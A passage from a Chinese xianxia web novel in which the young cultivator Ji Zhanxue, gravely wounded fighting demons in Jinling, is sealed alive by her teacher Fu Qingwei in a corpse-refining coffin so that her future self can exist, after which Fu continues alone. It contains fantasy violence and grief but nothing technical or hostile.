道士、和尚和散修们望着视野前方走过来的女人,一身蓬莱观主的青袍,脸上戴着一副凶煞傩面,这几日他们也见姬观主戴过,似乎是蓬莱的标志。 小小蓬莱观,师徒俩都不容小觑。 可怎么只来了一人? 手持佩剑的女人广袖飘飘,身形如青竹,迎着众人的目光走入了队伍。 面具后传来一道年轻至极的声音。 “蓬莱,姬湛雪。” 第156章 姬湛雪最后回头看了一眼。 金陵城的城门缓缓关上, 一声重响。 沉闷的声音响在众修者耳畔,从此刻起,除非魔头灰飞烟灭, 城门不会再打开一条缝隙。 不出不进, 直至所有人战死在城中。 即使做好了赴死的准备, 进入金陵城的修士也为眼前的画面震慑失语,一颗心直沉入谷底。 城中竟到了如斯地步。 明明他们在城外看金陵城的上空还是朗日昭昭, 城门关闭后遍体阴寒, 连日光都看不到了,头顶的天空全部被灰雾笼罩, 魔气由浅至深, 到了低空已是黑云翻滚,视野所及全是魔气,连条路都没有。 整个金陵仿佛一座黑雾包裹的死城, 人间炼狱。 即便侥幸诛杀魔头活下来, 在魔气里侵蚀这么久的人类修士,还能有生还的机会吗? 众修者互视一眼,苦笑中竟流露出一丝庆幸。 大家皆有好友亲朋, 或伴侣知己,有视之比自己生命更重要的人,幸好来的是自己。 姬湛雪也是这样想。 幸好是我。 一人豪爽笑道:“诸位,今日吾等埋骨金陵, 同年同月同日死,胜过手足姊妹, 这一生值了!” 仅剩的一丝悲苦也被冲淡。 众修士都大笑起来。 “正是如此!” “我等共存亡!” 众人尽皆抽出自己的武器, 面向前方的黑雾,魔气里翻滚着一双双红色的眼睛, 厮杀的魔族朝送上门的修士转了过来。 身披袈裟的大和尚双手合十,低声庄重念了声佛号:“阿弥陀佛。” “贫僧为施主们开路。” 大和尚双手结狮子印,低垂慈悲眉眼,口中念出六字真言:“唵。” 一道金光打在魔气结界上,立刻撕出一道裂缝,大和尚真言不停,数道金光齐发,接二连三击在结界,眼前的黑雾层层荡开,隐藏的魔族露出了真容。 爬着的,飞着的,相貌各异,双头六手,蛇首人身…… 不属于人间的地底怪物们,集体向修士们扑了上来。 剑出龙吟,姬湛雪一脚蹬地,相思剑的霜雪划过空气,一马当先地冲了上去。 长剑白虹贯日,一剑斩杀正面蛇头。 符火在各处爆燃,笛声响彻天地,长鞭舞出虚影,聚拢的魔气被击溃,复又向修士们层层包裹上来。 姬湛雪走在一片伸手不见五指的魔气里,周围已没有了同伴的影踪。 她忽然转身,相思剑比她转身的动作更快,一剑插入了偷袭的魔族的咽喉,爆出刺目的血光。 魔族的尸体被拖入黑雾,犹如活物似的向她游过来,隐隐约约浮现一张血盆大口。 姬湛雪迅速取出袖中符箓二指夹住,飞快念咒。 “天火雷神,五方降雷。地火雷神,降妖除精。急急如律令!” 一道紫光天雷从天而降,耀眼的白光过后,姬湛雪方圆百米的魔气消失,露出一名同伴的身影。 “多谢姬观主。” 姬湛雪点头嗯了一声。 另一边几位修士也从黑雾中顺利闯出来,道:“事不宜迟,我们得尽快赶到魔头所在之地!” 姬湛雪回身全力荡出一剑,白色剑气纵横之处,群魔授首。 “走!” 众人边打边前进,将入口处的魔物诛杀得七七八八,朝金陵城中心火速奔去。 地面在颤动。 连金陵城外天机阁的人都感受到了,半天过去,恐怕众人已与魔头交上了手。 因为种种原因未能进城的修士们不少没有离开金陵,而是在城外守候,善后抑或是成为第二道魔族侵入人间的血肉屏障。 到了晚上,血月挂在了金陵城上空。 比血月更亮的,是一道一道相继劈入城中的天雷,水桶粗的紫电从天而降,雷霆震撼,几乎要将天漏出一个大洞。 那是蓬莱的姬观主在引雷。 伴随天雷而来的滂沱大雨无处可去,全都下在了城外,天在哀鸣。 暴雨如注,没有一个人离开。 血月离开天边,换上了一轮艳阳,金陵是看不到艳阳的,因为雨仍在下。 雷声在响,天色灰蒙。 不知何时劈了一天一夜的天雷停了下来,再无声息。 城外的雨仍在下。 城内,一张四分五裂的柳木面具静静地躺在角落。 寸寸都是血迹。 * 傅清微昏睡了一天两夜。 她从无梦的混沌中醒来,按着自己仍然酸疼的太阳穴,坐起了身,窗外仍是早晨的天光。 身边空无一人。 “小雪?” 傅清微立刻下地。 她发现自己睡前放在桌子上的相思剑不见了,挂在衣架上的青色外袍也不见了,姬湛雪的衣服叠在她的枕头边。 傅清微穿上对方的衣服,奔出屋外,客栈人去楼空。 “小雪——” 她踉跄着扑出了客栈。 天边最后一道惊雷湮灭。 …… 金陵城的上空彻底放晴,天机阁检测过城内魔气浓度后,内心沉痛地打开了城门。 等候在外的修者涌了进去。 第一声哭声传了出来。 天机阁留下两人守着城门,其余人进城善后。 不多时,一位穿着藏青道袍的女人形容狼狈,扑到了她们跟前,还是一人及时出手扶了把,对方才没有直接跪倒在地。 “她人呢?” 来人发髻未束,一头及腰青丝披散,眼圈通红,目光说不出的浓重悲怆。 天机阁门人看到她的脸,诧异道:“姬观主?” 姬观主在外面,那里面的人是…… 傅清微攥着她的衣袖,眼白底下竟沁出血点,重复问道:“她人在哪里?” 这人还要问,另一人却拉了拉她。 “她在里面,你快去吧。” 傅清微连滚带爬地冲进了城内。 “小雪——” 饱满悲伤的声音响在耳畔。 不知怎的,城外这二人的眼眶同时一热。 傅清微茫然越过满地的魔物尸体,断体残肢,魔族的,也有人类修士的。 后进城的人们哭着从堆积的尸山血海里挖出牺牲修士的尸体,尸体被集中起来,道士们布阵净化尸身残余的魔气,好将她们的遗体带回家安葬。 傅清微一个一个地走过去,看到谁在挖尸体就徒手上去帮忙,翻过来去看对方的脸。 这个不是。 那个也不是。 都不是。 不是就好,她可能还活着。 没找到尸体就有希望。 傅清微忍着溢到眼眶的泪水,用袖子抹了抹脸。 满目疮痍的金陵城,和尚们已经开始念经超度亡魂,死在魔物手下的人灵魂亦会无比痛苦。庄严齐整的梵音之下,点点白芒从众死难修士的身上浮现,也许他们的身体已不齐全,但灵魂依然是圣洁完整的。 故去的众修士重新站立在了金陵城的地面,她们身上闪烁着淡淡的往生金光,和仍活着的人们微笑道别。 “来生再见啦。” “我现在去投胎还能给我师父当徒弟,嘿嘿。” “还是当道士好啊,死了还能见最后一面。” “道友们保重。” 哭噎声此起彼伏。 眼角的泪再度涌出来,傅清微一张脸一张脸地看过去,没有姬湛雪。 她离开了超度的地方,在城中漫无目的地寻找,跪在地上机械地双手一具一具翻开堆成山的魔物尸体,从这一处到那一处。 到处都没有。 小雪,你在哪里? 她跪在尸体堆里,茫然地环视四周。 傅清微眼白里的血点越来越多,整个眼睛都变成了红色,连泪也像是流出来的血。 她丢开手边的怪物残肢,擦去血泪,爬了起来继续往前走。 突然她脚下踩到了什么东西,挪开脚尖,是一张绘着傩神的面具。 鲜血染红了四分五裂的面具。 傅清微瞳孔骤然一缩。 “小雪!”傅清微捡起面具,站在中间大声喊道。 无人回应。 “小雪!你在哪里——” “姬湛雪——”傅清微声音哽咽。 她握着面具在周边四处搜索,又搬开了一堆尸体,毫无收获。 她忽然瞧见一把断剑。 对了,剑。 傅清微冷静下来,闭上眼睛去感应相思,能感应到说明就在附近。相思剑的剑身嗡鸣,傅清微不远处的一座小山陡然掀开,剑光闪过,断体和鲜血簌簌落下,下了一场血雨。 相思剑回到了傅清微的手中,她也终于见到了姬湛雪被埋在底下的身影。 姬湛雪背面朝上,满身青袍染成红色,一动不动,生死未卜。 傅清微用剑将她身上的魔物尸体全部挑开,长剑当啷落地,她颤抖着抱起了地上的年轻女人,喉咙里一声悲鸣。 夺眶而出的泪水不由分说全掉在姬湛雪的脸上。 “小雪,小雪?” 姬湛雪布满血污的脸颊被她的眼泪冲刷出几点本来的雪白颜色,很快又被鲜血染红。 傅清微不知道她哪里受伤了,似乎哪里都是伤口。 “小雪……” 她的脉搏就在颈侧,傅清微的手指在距离她两公分的地方,不敢落上去。 她害怕……她不想见到的那个结果。 姬湛雪垂在身侧的手指动了动。 她眼皮底下的眼珠不安地转着,却睁不开。 可她竟然还活着。 傅清微一口气陡然松懈,立刻把怀里所有的药都倒了出来,固本、培元、止血的一股脑往她嘴里塞。 “小雪别怕,为师在这呢。” 姬湛雪咽了下去,更多的伴随鲜血吐了出来,她偏开头大口吐血,傅清微扶着她脸颊的五指血红湿粘,浸透了手掌。 “小雪。”她哽咽着抵着年轻女人的额头,哀求她,“不要……不要离开我……” “师尊……” 姬湛雪慢慢睁开了眼睛,眼前一片白光,她的手指吃力地靠近着女人的手,傅清微连忙握住了她鲜红的手,紧紧贴着自己的脸。 “师尊,是你吗?” “是我。”傅清微泣不成声,“我来接你了,小雪。” 姬湛雪不记得被埋了多久,她闭着眼奄奄一息只有一个念头,她还没有等到她。 现在终于等到了。 可惜不能再看一看她的脸。 她就要死了。 姬湛雪气力虚弱,原本睁着的眼睛又缓缓闭上,断断续续地说道:“带我……回家……我想……回……蓬莱……” “好,我带你回家。”傅清微泪如雨下,扶起她的上半边身子,“我们回蓬莱。” 年轻女人的呼吸越来越微弱,听到她的话露出一个放松的笑。 她的一生,能够在她怀里结束,实在是再好不过的结局。 她没有遗憾了。 姬湛雪和她交握的手在慢慢松开。 突如其来的困意席卷着她的神经,姬湛雪放任自己沉入那一片白光中,意识在逐渐抽离她的身体。 有一道声音在耳边撕心裂肺。 是师尊。 她哭得好伤心,姬湛雪又不忍心起来。 姬湛雪闭着眼睛,原本滑落的手掌没有再继续落在地面。 可她的气息仍在继续弱下去,脉搏几乎没有了。 不是这一刻,也是在下一刻。 傅清微捧住她开始无力偏向一边的脑袋,泪流满面:“你不是一直想做我的妻子吗?等回到家,我们就成亲好不好?” 第157章 成亲? 姬湛雪的身体越来越轻盈, 意识远去的大脑忽然捕捉到这个词,师尊要和她成亲吗? 驻足在白光里的年轻女人回头,望着视野尽头的青袍身影。 她也落下两行泪。 气息没有再弱下去, 姬湛雪被她抱在怀里, 脸颊靠近, 轻轻地枕着女人的心口。 傅清微重新给她喂疗伤丹药,这次她咽下去了大部分, 胸腔微弱地起伏, 均匀。 傅清微一只手握住她的手腕,渡入一丝真气小心地探查她的经脉和伤情。 天机阁的人赶了过来, 见状不敢打扰, 只一味取来最好的伤药备着,在旁边安静等待。 进入金陵城的修士全都遇难了,和魔头同归于尽, 即便有侥幸活下来的, 因身体被魔气侵蚀过度,回天乏术。 方才城里的第一声哭声,是有一名城中修士在胜利后选择当场自绝身亡。 姬湛雪现在是唯一活下来的人, 虽然大家都知道她恐怕活不成了,仍抱着渺小的希望。 傅清微探查完松开手,目色怔怔。 天机阁的人忙上前奉上伤药,问傅清微需要什么帮助。 傅清微说:“先送我们回客栈, 之后我要立刻带她回蓬莱。” * 客栈。 屋里的铜炉燃着返魂香,丝丝缕缕的雾气异香扑鼻, 缓缓地飘向床上躺着的年轻女人, 被她吸入体内。 姬湛雪仍在沉睡,惨白的脸色微微好转。 傅清微这次出门巧合地带了返魂香, 她本想死在金陵时,最后一刻能和师尊在一起。 没想到阴差阳错,竟派上这样的用场。 返魂香放入阵法中可以起死回生,辅以小型阵法点燃也有稳固神魂的功效,只是返魂香至阴至烈,正常人闻多了只会起反效果,反而生命垂危、魂魄不稳之人借此可以续命。 即使只有短短几天。 傅清微给她擦了脸上的血迹,衣服也换下来,干干净净地露出双手和脸颊。 傅清微坐在床沿握着她苍白失血的手,眼泪一滴一滴地落下来。 为什么? 为什么她一心想要改变姬湛雪被炼尸的结局,最后却亲手促成了这一切。 她对抗命运的举动,反而落入宿命的另一个陷阱。 原来历史真的不可以改变,一切都是命中注定,她的反抗毫无意义。 天意不可违。 姬湛雪要死了,除了炼尸这一条路,没有别的办法能救她。 她如果死了,师尊也会消失。 傅清微没有选择。 即使目前有,历史也会让她回到“正确”的轨道,她的反抗是徒劳,只会增加更多的痛楚。 她木然地坐了良久,站起身来打开房门。 傅清微叫来天机阁的人,让她们去给天机阁西南分部打电话,为她准备一口石棺,布置好锁链,并告知结界的入口。 傅清微回到房间,指腹抚着姬湛雪雪白的脸。 如果她好好地留在蓬莱不下山,不到金陵,姬湛雪也不会濒死。 无论如何,是她害了她。 她会完成她最后的心愿,和她成亲。 姬湛雪的伤情稳定后,傅清微抱着姬湛雪坐上了天机阁的车,垫子铺得厚软,姬湛雪全程靠在她身上,路上的颠簸很轻。 睡了一天一夜后,姬湛雪醒了。 返魂香萦绕在空气里。 “师尊……” 姬湛雪喃喃,意识尽头传来了火车车轮撞击铁轨的哐当声。 “就快到家了。”傅清微弯腰和她说,“我们在火车上。” 姬湛雪睁开了眼睛,精神看起来还不错,傅清微试着将她半扶起来,靠在自己怀里看不远处车窗外的风景。 这趟火车她们坐过,下车以后转轮渡和汽车,至少还需要七天时间。 自己只要再坚持七天就好了。 姬湛雪呼吸平稳,慢慢地又睡了过去。 她五脏俱损,内外皆伤,所有的力量都用来维持最微弱的生命体征。 这几日辗转她都睡在傅清微的怀里,清醒的时候极少,睡的时候多,乖乖地依偎着师尊。 就像小时候流亡她们在河边休息,她老是趴在傅清微的身上睡觉。 长大后,就再也没有过了。 好熟悉,好温暖,好想睡觉啊。 在她怀里永远地睡下去,就好了。 第七天,轮渡包间,姬湛雪撑不住了开始吐血,傅清微用毛巾接住她涌到脖子里的血迹,赫然发现其中掺杂着一些内脏碎块。 傅清微摸到她气若游丝的脉搏正在消失,胡乱地抹脸上的眼泪。 “小雪!你坚持住!我们还没有成亲呢,我答应你的!” 姬湛雪吃力地睁了一下眼,手已抬不起来,傅清微主动握紧她的手,十指相扣。 “你不想做我妻子了吗?” 当然是想的。 即使她爱的是别人。 姬湛雪眼皮微抬,缓缓地回扣住她的手指。 她要坚持到,回蓬莱成亲。 傅清微的手搭在她的腕子,源源不断的真气渡过来护住她的心脉。 眼泪全滴落在她的手背。 姬湛雪动了动手指。 两日后。 傅清微背着身上的年轻女人一步一步上了山,姬湛雪回来以后的精神肉眼可见地好了些,即使只是比先前多清醒一段时间。 她下巴垫着女人的肩膀,幅度微小左右转着脑袋张望熟悉的景色。 “我们到家了。”傅清微站在院门口回头和她说道。 姬湛雪醒着嗯了声。 终于到了。 院子里多了一副沉重的石棺,姬湛雪趴在她背上路过那副打开的空棺,心里已明白那是什么。 屋里燃起返魂香,姬湛雪被平放在卧室的床上,傅清微坐在床沿握着她的手,另一只手抚着她娇妍清丽的脸。 “小雪,我有一件事要告诉你。” “我知道。” 姬湛雪什么都知道。 她知道师尊一直在问天机阁打听材料,她虽不通阵法,也听得出那些材料罕见,尤其是返魂香,顾名思义起死回生。 ——师娘长什么样子? ——和你现在一模一样。 既然姬湛雪是过去的穆若水,穆若水是未来的她。 那么她要怎么活到一百年后,以二十多岁的样貌去遇见师尊呢? 除非她死了,又在多年后死而复生。 她会死在什么时候? 去年上半年,师尊从天机阁回来,缺少最后一种材料。她在书房里推演阵法,她将所有的纸张付之一炬,但姬湛雪仍旧窥见了只言片语。 炼……阵。 纸上拂到地上,烧成灰烬时,棺材的图画一闪而过。 ——我想到了! 她想到阵法要怎么完成了,是不是? 她知道怎么复生她的妻子了,是不是? 没过多久,师尊便生了一场重病,昏睡了一天一夜,在噩梦中交替呼唤她和穆若水的名字。 “小雪……” 女人在她怀里呢喃自语,眼角滑落晶莹泪水。 姬湛雪指腹拭去她温热的眼泪,却越擦越多,凑近听见她更细微的呓语。 “我不能……杀你……” 姬湛雪一怔。 原来复生穆若水的关键是杀掉我吗? 是啊,我若不死,穆若水怎么活呢? 怪不得你的身体会每况愈下,精神一蹶不振,你的叶子在一片一片地凋零。 因为你下不了手杀我,你永远都见不到你的妻子了。 她是你在异世的盼头,是你活下来的希望,你没有一日不在思念她,而我是你和她相见的阻碍。 我是过去,过去就应该结束在她该结束的地方。 我当然不会以为你对我没有感情,我是你的徒弟,是你的家人,唯独不会是爱人。 我们在一起相依为命二十年,亲情和爱情之间,你无法做出取舍,只能折磨自己。 金陵的消息传来,前路凶险,你久违地露出释然的笑容。 我知道你找到了答案。 你决定自己赴死。 可是你死了,我还能活下去吗? 不如我来替你,让历史成为历史,过去变成过去。 你带着未来的期许,去见你的妻子。 我死后,你可以活下去。 哪怕我的一生,从此锁在冰冷的石棺里。 傅清微愕然。 姬湛雪气力不济,以上的推断都是断断续续说的,除去她不知道的和后世对应的闭环,将事情的真相猜了个七七八八。 她向来聪明,傅清微不知道她聪明到了如此地步,在去金陵之前,她比自己更早做好了赴死的准备。 傅清微潸然泪下。 “师尊,不要哭……”她已经为她流了太多的眼泪,即使不是爱,她也该感到知足。 “可是炼尸会很痛,你会受不了的。” “既然她存在,说明我扛过去了,不是吗?” “炼尸需要活人。” “最后一眼我还可以看到你。” 傅清微说不下去了,事到如今,她才发现这件事比她想象的更难。顺其自然是四个字,苦和痛却是要活生生的人来承受的。 她不忍心让姬湛雪遭受这一切。 如果可以,她愿意代替她。可惜世上没有如果。 傅清微吸了吸鼻子,避而不谈道:“不是要成亲吗?我去给你拿喜服,再给你梳个妆。” 姬湛雪笑着说:“去吧。” 傅清微去了一趟对面的房间,将压箱底的喜服抱了过来。 她跑得很快,生怕回来姬湛雪的眼睛就闭上了,明明她心知不会,如果历史既定,姬湛雪一定会活着躺进棺材里。 可是人的意志是不受客观转移的,她会为了她在金陵城翻遍挤压的尸体,会为了她可能遇害而悲痛欲绝,会有一个人应该有的所有脆弱。 她不是机器,不能无情地执行指令。 傅清微气喘吁吁地将喜服铺在床上,一身大红道袍,绣着日月星辰的红衣鹤氅,大红锦靴,和一枚莲花冠。 和那块黄玉一样,都是傅清微凭记忆绘出图纸,找人定做的。 也是前两年刚完工,她收好后就没再打开,直到今天。 傅清微扶她起来,在满室返魂香的气味里,温柔问她:“看看喜不喜欢?” 姬湛雪的手伸了出去,指腹落在了鹤氅上精美的刺绣花纹,左边抚到右边,扭脸朝傅清微露出一个甜甜的笑:“喜欢。” “我为你穿上。”傅清微擦了擦溢到眼角的泪水。 “好。” 姬湛雪有些困了,脑袋轻轻地歪在傅清微的肩膀上,眼皮缓缓垂落。 傅清微哭腔道:“小雪,不要睡。” “好。” 姬湛雪强打精神,摆脱那股强烈的困意,脸偎在她怀里,低头看着她给自己穿喜服。 果然是大红喜服更好看。 傅清微将姬湛雪扶到镜子前,没有人梳头,就自己给她梳头。 女人素手执起木梳,顺着她如墨的长长发丝。 “一梳白发齐眉,二梳同结连理,三梳无灾无病落花又逢君。” 镜子里映出一身火红嫁衣端坐的年轻女子,血色全无的脸教这明艳颜色一衬,都多出几分妩媚春色。 傅清微拉开妆奁的抽屉,取出唯一的一盒胭脂,给她抹在脸颊和口唇。 面若桃花,唇似涂丹。 这样完全看不出是个垂死的病人了。 姬湛雪弯唇轻轻地笑了一下。 “我好看吗?师尊。” “好看。” 镜子里的傅清微落下泪来,在姬湛雪望过来以前,连忙用袖子擦去。 姬湛雪的手忽然抬了起来,覆在傅清微搭在自己肩膀的手背,冰凉柔软。 傅清微惊喜道:“你……” 她很快明白过来,姬湛雪药石无医,这是回光返照了,霎时悲从中来。 姬湛雪道:“师尊,去准备阵法吧。” 傅清微说:“可是我们还没有拜堂。” 姬湛雪指尖抚着自己身上的喜服,低声说:“这样就够了。” 师尊已有妻子,她又何必去占这个名分呢? 能够为她穿一身嫁衣,她死而无憾。 傅清微悲不自胜,迟迟不动身,姬湛雪催促道:“我坚持不了多久了,快去。” “去啊。” 傅清微悲痛地回头看了一眼,奔入了院内。 石棺里铺着最柔软的锦缎,姬湛雪被抱起来慢慢放入了棺内,她躺在里面,手摸着自己的新床。 “刚好够我一个人睡,两个人就太挤啦。”她故作轻松地说道,所以这次她要一个人先走了。 她的肌肤容色饱满,仍处在回光返照的时间里。 多年以后,她们会在这副石棺里重逢,那个人叫穆若水。 姬湛雪很羡慕她。 傅清微的手伸进棺材里,握着她消瘦的一只手,眼泪断线,说不出话。 姬湛雪望着她噙满泪水的眼睛,眼睫也慢慢湿润,问道: “师尊,你有没有爱过我,哪怕一点点?” 爱吗? 傅清微和她相依为命二十年,陪伴了她从小到大的成长,看着她越来越像师尊,又坚决将她们分成两个人。 这世上姬湛雪是独一无二的,穆若水也是独一无二的,然而没有雪,何来水? 是姬湛雪的一生造就了后来的穆若水。 她们不是完全独立的两个人,她们有着同一个灵魂。 她爱穆若水,怎么能不爱有着她灵魂的姬湛雪? 可是姬湛雪是她的徒儿和家人,她对她的所有感情都远比不知是不是爱情的比重大。何况她与师尊的情欲之爱,和对姬湛雪的爱完全不同。 她都可以为之付出生命,但她心里只会有穆若水一个妻子。 如果这是她最后的心结的话…… 傅清微:“我爱你。” 经过了一番思索之后,她给出了这样的回答。 姬湛雪眼神里闪过浓浓的自嘲,她本来想接着问:如果不是因为穆若水,她还会爱她吗? 算了,何必自取其辱。 早在二十年前,如果不是她看到自己的脸,认出她的未来,她不会带她走,不会抚养她长大。 不会有现在的一切。 她心中早有答案。 姬湛雪没什么想问的了。 两人就这么互相望着,静静地等待那一刻的到来。 傅清微第一次知道人的生机原来可以用肉眼这么直接地观察到,哪怕她涂了鲜艳的胭脂,像北方冬天的树,只需要一阵寒风,就会满地落叶。 姬湛雪的叶子是瞬间全部凋零的。 返魂香吊命的时限已过,回光返照回天乏术,鲜血从年轻女人的口鼻溢出来。 姬湛雪和她交握的手暴起青筋,紧紧地扣住她的指节。 “师尊,你要记得……和你度过二十年的人是……姬湛雪,不是……穆若水……别忘了我……” 傅清微的眼泪滂沱。 “我会记得的。” 姬湛雪躺在棺材里,傅清微的手扶着她的脸,血浸透她的掌背,迟迟不动。 她下不了手。 她不能眼睁睁地将一个活人炼化在棺材里,那个人是姬湛雪,也是师尊,承受焚魂之痛的人都是她。 姬湛雪死死抓住她贴在自己脸上的手:“快,趁我还有一口气……封棺……” “师尊!封棺啊!” “别让我的死没有意义!” “傅清微!” 傅清微陡然闭眼,退开了棺材,一掌拍在棺盖尾部,沉重的石棺缓缓地合上,姬湛雪饱含眷恋的最后一眼留在了棺材内。 这一生,她谁都不怪。 怪只怪她来得太早了。 偏我来时不逢春,偏我去时春满城。 活着的姬湛雪永远得不到她的爱,只有死后的穆若水可以。 我成全你。 傅清微几近崩溃,泪如雨下,大声道:“封棺——” 师尊,你终于能见到想见的人了。 傅清微手里的符咒拍落,启动了阵法。 穆若水的双眼闭上,熊熊大火在棺材内外烧了起来。 一声撕心裂肺的惨叫从棺木中传出来。 “小雪!” 傅清微猛然扑到石棺上,想将火焰扑灭,然而这火并不是肉眼所见的凡火,棺材触手冰凉,只有方才的一声惨叫仿佛是她的错觉,变成了细细的痛吟。 “很痛吗?小雪?”傅清微找着棺材上的跗骨钉,说,“我现在就放你出来,咱们不炼了。” “师尊,不要……功亏一篑……”姬湛雪挣扎着闷哼一声,“你放我出来,我也活不成……” “可是……” 傅清微跌坐在地上,两只手满手的眼泪。 “你会生不如死……” “那也好过……彻底死了……”姬湛雪道,“坚强一点……会有再见的……那一天。” 她断续的话又变成短促的悲鸣,又似是痛极的哀嚎被压抑住。 傅清微擦了眼泪,说:“你痛了就叫吧,我会一直陪着你。” 姬湛雪还是没有叫,只是持续地低声痛哼。 反倒不时安慰她两句。 傅清微爬起来继续完善阵法,时间匆忙布置得很基础,这个阵法需炼制九九八十一天,之后若是想炼出的僵尸更强大,需要持续吸取日月精华注入石棺,滋养棺内尸身,还有鲜血。 傅清微整日整夜守在石棺边,听着姬湛雪忍痛的低吟,心里的痛不比她少半分。 阵法彻底启动,已无可更改。 七日后,棺中的声音没了。 “小雪,你在里面吗?” 无人回应。 傅清微将脑袋轻轻枕在了石棺上,眼泪咸湿。 姬湛雪死了。 那个属于人类的姬湛雪不在了。 晚上,石棺里传来砰砰的响动,傅清微往上贴了一道又一道符纸,底下又传来指甲的抓挠声。 傅清微割开自己的手腕,将鲜血滴落在阵石上。 熊熊烈火再次从棺木里烧了起来,这次对方的声音没有任何压抑,一声接一声地凄厉哀嚎,不似人声,只像鬼哭。 可这声音依旧是姬湛雪的,或者说,已经是穆若水的。 所谓焚魂,就是在人活着的时候,将魂魄以秘术锁在体内,令其被业火焚烧魂魄时,无法逃脱身体。 一次次骨头碾碎,血肉化为血水,千锤百炼,焚魂淬体。 使其痛不欲生。 十八层地狱不过如此。 所炼之人越是痛苦,苏醒之时能力越是强悍。 岁已寒的话反复响在耳畔。 傅清微仰起了脸,望向月光,听着耳边所爱之人的惨叫,唇角诡异地扬起笑容。 慢慢的,她嘴角的弧度越来越大,笑得她弯了腰,笑得满是眼泪。 惨叫与怪笑声交织,在深夜的庭院无比瘆人。 八十一日后,石棺内彻底没了响动。 无人打扫的庭院里满是落叶,明明是春天,提早凋落的道观遍地萧瑟。 地面的落叶被风卷起,吹到道观廊柱前停止,一个满头白发的女人低着头,一动不动地靠坐在那里。 她的手垂落在身侧,掌心被一个圆滚滚的脑袋拱了拱。 傅清微木然的眼珠动了动,迎着小三花闪闪担忧的眼神,抬起手轻轻摸了摸它的脑袋。 同月,小三花去世。 第158章 傅清微把小三花埋了, 同年,在院子里种了一棵桃树。 桃树苗是山下村民给的,炼尸阵成后, 傅清微日日枯坐在道观陪伴穆若水, 直到有一天看见了山下的烟花。 白日焰火, 很漂亮。 傅清微的脑袋靠在道观后院的门框,呆呆地看着头顶的烟花绽放。 然后她爬起来, 提剑下了山。 魔物诛杀后, 村民为了感谢她,送了她一大堆东西, 傅清微没有收, 只从里面挑了一株不起眼的桃树苗,种在了家里。 1938年7月。 姬湛雪死后的第四个月。 傅清微收拾了行囊,站在石棺前, 手抚着冰冷的棺面, 脸轻轻地贴上去摩挲。 “我有些事要办,晚些时日回来陪你。好吗?” 傅清微耳朵紧贴着石棺,仿佛等里面应了一声好, 方踏出了道观的院门。 她曾在学校图书馆找到过一本书,记载了慈让真人济世的事迹,记录在笔记本。离她最近的一件是1938年8月,她该去完成剩下的历史了。 姬湛雪死了, 师尊在沉睡,她除了按照历史走下去, 继续等到时间线重合的那天, 别无他法。 未来有没有结局,她不知道, 她只有等下去。 等她的妻子,等重逢。 这是她活着的唯一希望。 去年到今年短短一年,将近一半的国土沦陷,陷入战火,魔族在史所未有的动乱中诞生,百鬼夜行,妖魔则白日纵横。 这些新诞生的魔物实力比之二十年的妖魔不可同日而语,修者死伤惨重。 傅清微正在山野里快速奔跑,追踪魔物的气息,耳边突然传来一声惨叫,还有符火爆炸的声音。 有修士和魔族交上了手。 傅清微戴上面具,朝声音传来的方向飞奔了过去。 太乙派两位道士里的矮个乾道手臂鲜血直流,不甚被这两头的魔物其中一张嘴咬中,若不是师兄及时一道符火甩上去,他这条胳膊今日就要交待在这里。 师兄持剑退到他身侧:“没事吧?” 矮个乾道咬牙:“没事,师兄,我们一起上!” “嗯。” 双头魔族四足着地,周身翻滚着浓墨一般的黑雾,血红色的眼睛望着两位不知死活的修士。 矮个修士拿出符箓,师兄长剑一挥,二人一起扑了上去。 双头魔族一跃而起,身形极灵活,没有朝道士们扑上来,而是后足一蹬,消失在二人面前。 两位道士陡然失去魔物影踪,立刻背靠背抵在一起,环顾四周,做好防御姿态。 双头魔族正在树上,它们这些进化的魔族早就有了智慧,不再是只会莽撞杀人的魔物,若不是不能化作人形,早就融入人类之中。 “它走了?”矮个乾道手臂的伤不断渗出血,因为失血过多晕眩,站立不稳地晃了一下。 师兄回头瞧他一眼,道:“我先给你止血吧,师弟。” 矮个乾道没发现魔族的踪迹,应了声好。 师兄暂时收起长剑。 说时迟那时快,一道黑影迅雷不及掩耳之势突袭到他面前,红色的眼睛张开,嘴里的腥气和涎水已经滴到了他的脸上。 一口咬下! 年长乾道绝望地闭上了眼睛,等待死亡来临。 鲜血从脖颈喷出,头颅应声而落。 预料之中的痛楚并没有来到,年长乾道摸了摸自己完好无损的脖子,惊讶地看见了地上的魔物头颅。 不远处,剑光闪烁。 一道青袍身影正与失了一颗头颅的魔物缠斗,说是缠斗不如说碾压,几息之后,剩下的头也被斩落,它身上翻腾的魔气在长剑凛冽清霜的压制下,不甘地消散在空气里。 地上空余一具平平无奇的怪异尸身。 傅清微回剑入鞘,转过身来。 她腰间悬着一枚黄色圆形玉佩,穗子轻轻飘荡。 太乙派二人瞧着对方长身玉立的身影,从玉佩挪到了她脸上格格不入凶煞的傩面。 “多谢道友出手相助,救我二人性命。”年长乾道拱手道。 面具人嗯了一声。 傅清微上前帮矮个乾道净化了手臂伤口的魔气,留下伤药,矮个乾道也向她道谢。 傅清微处理完转身就走。 身后的乾道追问:“敢问阁下尊姓大名?” 青袍背影驻足,静默了一息之后,成熟的女声从面具后沉静地传来。 “蓬莱,穆若水。” 眨眼间消失在二人的视线内。 矮个乾道在她走后,感叹说:“原来是蓬莱的穆道友,怪不得剑术出神入化,今日一见,名不虚传。” 师兄道了一声:“可惜。” “可惜什么?” “可惜姬观主死在金陵,蓬莱只有穆道友一人了。” 矮个乾道跟着叹了一声气。 师兄道:“走吧,师父还等着我们回家呢。” * 半年后,傅清微回到了蓬莱观。 “我回来了,若水。” 院内的石棺依旧,沉默地回应着她。 傅清微回屋解了剑,换了干净的衣裳,扫了院子里的落叶,蓬莱观的水土好,桃树苗长势茁壮,虽然没怎么长高,比傅清微离开时只长了几公分,到她的小腿。 傅清微检查了土壤湿度,在周边浇了一圈水。 收拾好院落后,傅清微搬了把椅子坐过来,陪穆若水聊天。 “你猜我这次出门遇到了谁?不是,你再猜。也不是,是清净派的管锥道长,你悄悄管她叫管糖的锥,还记得吗?” “我给你带了糖回来,最近银元贬值厉害,花了我好多个铜元,你尝尝好不好吃?” “我帮你尝一下吧。” 傅清微等棺材里久久的安静过后,自己拆开了包糖的纸,取出一块方糖放进嘴里。 “还挺甜的。”她抬手擦了擦面颊滑落的泪水,笑着说。 “一天一块,不能多吃,否则没收。” 傅清微放了一块糖到棺盖的上方,“明天我会来检查。” 从夏走到冬,山上又是一片白雪皑皑,傅清微隔日冒着风雪从屋里出来,棺材上的糖覆了一层薄雪,她将这颗糖捡回来扔掉,换上了新的一颗。 